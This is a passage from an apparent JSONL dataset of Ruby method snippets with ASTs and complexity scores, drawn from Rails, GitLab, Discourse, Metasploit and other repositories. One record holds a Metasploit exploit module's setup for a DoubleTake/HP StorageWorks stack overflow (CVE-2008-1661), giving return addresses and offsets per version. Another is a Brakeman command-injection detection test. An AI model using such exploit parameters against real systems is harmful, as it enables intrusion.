end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"operation_called?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@operations\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"operation\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation\"]}]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"9c277452-cfac-4a91-9b82-67040f63f476"} {"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/example.rb","start_line":234,"raw_source":"def pending?\n !!pending\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pending?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pending\"]},\"!\"]},\"!\"]}]}","id":"afb5d235-d656-4f9a-a007-5c1791bc5a24"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ipv6.rb","start_line":53,"raw_source":"def ipv6_mac(opts={})\n Rex::Socket.ipv6_mac(ipv6_interface(opts))\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ipv6_mac\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"ipv6_mac\",{\"type\":\"send\",\"children\":[null,\"ipv6_interface\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"b46fe835-1694-4c27-89ff-0d0797bc8a2d"} {"repo_name":"forem","file_path":"./repos/forem/app/helpers/profile_helper.rb","start_line":19,"raw_source":"def character_count_denominator(field_type)\n case field_type\n when \"text_field\"\n \"100\"\n when \"text_area\"\n \"200\"\n end\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"character_count_denominator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field_type\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"text_field\"]},{\"type\":\"str\",\"children\":[\"100\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"text_area\"]},{\"type\":\"str\",\"children\":[\"200\"]}]},null]}]}","id":"efb19584-049d-4bea-a9dc-128e411f64e9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/markdown_cache/redis/store_spec.rb","start_line":34,"raw_source":"def store_values(values)\n Gitlab::Redis::Cache.with do |r|\n r.mapped_hmset(cache_key,\n values)\n end\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"store_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"Cache\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"mapped_hmset\",{\"type\":\"send\",\"children\":[null,\"cache_key\"]},{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}","id":"195c0864-a9c3-4cca-9f6a-d69c720b51ee"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/group_members_controller.rb","start_line":100,"raw_source":"def members_page_url\n polymorphic_url([group, :members])\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"members_page_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"polymorphic_url\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},{\"type\":\"sym\",\"children\":[\"members\"]}]}]}]}","id":"55748fff-ad8c-4b47-b295-7bd7043565b1"} {"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/open_ai/client.rb","start_line":22,"raw_source":"def discover(_connection_config = nil)\n catalog_json = read_json(CATALOG_SPEC_PATH)\n catalog = build_catalog(catalog_json)\n catalog.to_multiwoven_message\n rescue StandardError => e\n handle_exception(e, { context: \"OPEN AI:DISCOVER:EXCEPTION\", type: \"error\" })\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"discover\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_connection_config\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"catalog_json\",{\"type\":\"send\",\"children\":[null,\"read_json\",{\"type\":\"const\",\"children\":[null,\"CATALOG_SPEC_PATH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"catalog\",{\"type\":\"send\",\"children\":[null,\"build_catalog\",{\"type\":\"lvar\",\"children\":[\"catalog_json\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catalog\"]},\"to_multiwoven_message\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"OPEN AI:DISCOVER:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]}]},null]}]}","id":"82fc68ed-133e-4e5b-b6f9-9fc3c2472dae"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/predicate_builder_test.rb","start_line":32,"raw_source":"def test_references_with_schema\n assert_equal %w{schema.table}, ActiveRecord::PredicateBuilder.references(%w{schema.table.column})\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_references_with_schema\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"schema.table\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"PredicateBuilder\"]},\"references\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"schema.table.column\"]}]}]}]}]}","id":"721d085f-1858-4fbd-9ff1-9e7f7b06a4bf"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ntlm/message.rb","start_line":128,"raw_source":"def data_edge\n security_buffers.map{ |n, f| f.active ? f.offset : size}.min\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"data_edge\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"security_buffers\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]},{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"offset\"]},{\"type\":\"send\",\"children\":[null,\"size\"]}]}]},\"min\"]}]}","id":"4aab05bd-fe94-4a85-8636-2ba746fdd748"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/multiparameter_attributes_test.rb","start_line":234,"raw_source":"def test_multiparameter_attributes_on_time_with_skip_time_zone_conversion_for_attributes\n with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do\n Topic.skip_time_zone_conversion_for_attributes = [:written_on]\n Topic.reset_column_information\n attributes = {\n \"written_on(1i)\" => \"2004\", \"written_on(2i)\" => \"6\", \"written_on(3i)\" => \"24\",\n \"written_on(4i)\" => \"16\", \"written_on(5i)\" => \"24\", \"written_on(6i)\" => \"00\"\n }\n topic = Topic.find(1)\n topic.attributes = attributes\n assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on\n assert_not_respond_to topic.written_on, :time_zone\n end\n ensure\n Topic.skip_time_zone_conversion_for_attributes = []\n Topic.reset_column_information\n end","complexity_score":20.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiparameter_attributes_on_time_with_skip_time_zone_conversion_for_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_timezone_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"sym\",\"children\":[\"utc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aware_attributes\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"int\",\"children\":[-28800]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"skip_time_zone_conversion_for_attributes=\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"written_on\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"reset_column_information\"]},{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(1i)\"]},{\"type\":\"str\",\"children\":[\"2004\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(2i)\"]},{\"type\":\"str\",\"children\":[\"6\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(3i)\"]},{\"type\":\"str\",\"children\":[\"24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(4i)\"]},{\"type\":\"str\",\"children\":[\"16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(5i)\"]},{\"type\":\"str\",\"children\":[\"24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(6i)\"]},{\"type\":\"str\",\"children\":[\"00\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"attributes=\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[24]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[24]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"written_on\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_respond_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"written_on\"]},{\"type\":\"sym\",\"children\":[\"time_zone\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"skip_time_zone_conversion_for_attributes=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"reset_column_information\"]}]}]}]}","id":"e3be43a1-5c26-47d2-a59d-7c5046f45d99"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/doubletake.rb","start_line":12,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',\n 'Description' => %q{\n This module exploits a stack buffer overflow in the authentication mechanism of\n NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability\n was found by Titon of Bastard Labs.\n },\n 'Author' => [ 'ri0t <ri0t[at]ri0tnet.net>' ],\n 'References' => [\n ['CVE', '2008-1661' ],\n ['OSVDB', '45924' ],\n ],\n 'Privileged' => false,\n 'DefaultOptions' => {\n 'EXITFUNC' => 'process',\n },\n 'Payload' => {\n 'Space' => 500,\n 'BadChars' => \"\\x00\",\n },\n 'Platform' => 'win',\n\n 'Targets' => [\n ['doubletake 4.5.0', { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],\n ['doubletake 4.4.2', { 'Ret' => 0x0074e307, 'Offset' => 944 } ],\n ['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2008-06-04',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n Opt::RPORT(1100)\n ]\n )\n end","complexity_score":7.65,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a stack buffer overflow in the authentication mechanism of\\n\"]},{\"type\":\"str\",\"children\":[\" NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability\\n\"]},{\"type\":\"str\",\"children\":[\" was found by Titon of Bastard Labs.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ri0t <ri0t[at]ri0tnet.net>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2008-1661\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"45924\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"doubletake 4.5.0\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[7298983]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[5544]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"doubletake 4.4.2\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[7660295]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[944]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"doubletake 4.5.0.1819\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[7234269]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[5544]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2008-06-04\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[1100]}]}]}]}]}]}","id":"af30fca1-a053-448a-b628-271027d048f3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/authorized_keys.rb","start_line":105,"raw_source":"def list_key_ids\n logger.info('Listing all key IDs')\n\n [].tap do |a|\n open_authorized_keys_file('r') do |f|\n f.each_line do |line|\n key_id = line.match(/key-(\\d+)/)\n\n next unless key_id\n\n a << key_id[1].chomp.to_i\n end\n end\n end\n rescue Errno::ENOENT\n []\n end","complexity_score":24.4,"ast_json":"{\"type\":\"def\",\"children\":[\"list_key_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Listing all key IDs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_authorized_keys_file\",{\"type\":\"str\",\"children\":[\"r\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"key-(\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_id\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_id\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"chomp\"]},\"to_i\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOENT\"]}]},null,{\"type\":\"array\",\"children\":[]}]},null]}]}","id":"d34417d8-d55e-4290-b875-bc37e079be76"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/inactive_user_serializer.rb","start_line":6,"raw_source":"def inactive\n !object.active?\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"inactive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"active?\"]},\"!\"]}]}","id":"4980241b-cc24-4d90-8236-4f4fd5440462"} {"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":720,"raw_source":"def import_single_sign_on_records\n puts \"\", \"Importing SSO records...\"\n\n users = query(<<~SQL)\n SELECT id, sso_record\n FROM users\n WHERE sso_record IS NOT NULL\n ORDER BY id\n SQL\n\n existing_user_ids = SingleSignOnRecord.pluck(:user_id).to_set\n\n create_single_sign_on_records(users) do |row|\n user_id = user_id_from_imported_id(row[\"id\"])\n next if user_id && existing_user_ids.include?(user_id)\n\n sso_record = JSON.parse(row[\"sso_record\"], symbolize_names: true)\n sso_record[:user_id] = user_id\n sso_record\n end\n\n users.close\n end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"import_single_sign_on_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing SSO records...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT id, sso_record\\n\"]},{\"type\":\"str\",\"children\":[\"FROM users\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE sso_record IS NOT NULL\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY id\\n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SingleSignOnRecord\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"to_set\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_single_sign_on_records\",{\"type\":\"lvar\",\"children\":[\"users\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_user_ids\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"sso_record\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sso_record\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_names\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sso_record\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"lvar\",\"children\":[\"sso_record\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"close\"]}]}]}","id":"6d48ac47-c8a3-48c3-a434-3bde55b71b92"} {"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/dependency_tracker/erb_tracker.rb","start_line":158,"raw_source":"def explicit_dependencies\n source.scan(EXPLICIT_DEPENDENCY).flatten.uniq\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"explicit_dependencies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"scan\",{\"type\":\"const\",\"children\":[null,\"EXPLICIT_DEPENDENCY\"]}]},\"flatten\"]},\"uniq\"]}]}","id":"f10f2a19-0aaf-45e9-bf2b-a83d122505f6"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":1213,"raw_source":"def test_command_injection_in_library\n assert_warning :type => :warning,\n :warning_code => 14,\n :fingerprint => \"9a11e7271784d69c667ad82481596096781a4873297d3f7523d290f51465f9d6\",\n :warning_type => \"Command Injection\",\n :line => 3,\n :message => /^Possible\\ command\\ injection/,\n :confidence => 1,\n :relative_path => \"lib/sweet_lib.rb\",\n :user_input => s(:lvar, :bad)\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_command_injection_in_library\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[14]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"9a11e7271784d69c667ad82481596096781a4873297d3f7523d290f51465f9d6\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ command\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"lib/sweet_lib.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"sym\",\"children\":[\"bad\"]}]}]}]}]}]}","id":"be6afcf0-bc49-4fe1-9844-050a90234157"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/fasp/data_sharing/v0/backfill_requests_controller.rb","start_line":4,"raw_source":"def create\n backfill_request = 